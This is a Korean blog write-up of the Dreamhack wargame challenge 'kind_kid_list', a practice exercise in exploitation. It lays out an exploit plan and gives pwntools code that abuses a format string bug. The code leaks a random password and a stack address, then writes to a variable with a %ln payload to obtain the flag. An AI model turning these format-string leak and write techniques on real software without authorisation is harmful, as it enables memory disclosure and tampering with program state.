[Dreamhack Wargame] kind_kid_list

don't panic·2024년 1월 24일
0

System Hacking wargame

목록 보기
23/39

exploit 설계


  1. password를 /dev/urandom에서 가져온다. 결국 랜덤 값이므로 2번에서 format string bug로 leak할 것이다.
  2. 구한 password를 이용해 2번에서 kind kid list에 wyv3rn을 넣는다.
  3. destwyv3rn이 달라야하므로 dest를 2번으로 변조해야한다. 그래서 다시 한번 format string bugdest의 주소를 찾아온다.
  4. 구한 dest의 주소에 다른 값을 넣는다.
  5. 그 후 3번을 눌러 flag를 받는다.

1. leak password & add wyv3rn

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'%31$s')
password = p.recvn(8)

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', password)
p.sendlineafter(b'Name : ', b'wyv3rn')
  • password를 담고 있는 ptr[rbp-0x18]에 있다. 내가 입력 받는 s2[rbp-0xe0]에 있으므로 둘의 offset을 이용해 password를 찾아본다.
  • password를 구하고 kind kid list에 wyv3rn 을 넣는다.

2. find dest

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'%39$p')
dest = int(p.recvuntil(b'is')[:-3].ljust(8, b'\x00'), 16) - 0x1d8
  • dest[rbp-0xc0]에 있다. 따라서 또 s2와의 offset을 이용해 dest의 주소를 찾는다.

    v2를 입력하고 printf(s2); 직전의 s2 map이다. 0x7fffffffe5b8의 값이 stack영역의 주소이므로, 원래 dest와의 offset을 구해보면 0x1d8임을 알 수 있다.

3. change dest

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', password)
p.sendlineafter(b'Name : ', p64(dest))
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'A%8$ln')
  • name[rbp-0xd0]dest의 주소를 담는다. 그리고 거기에 AAAAAAAA를 담는거로 하자.

0개의 댓글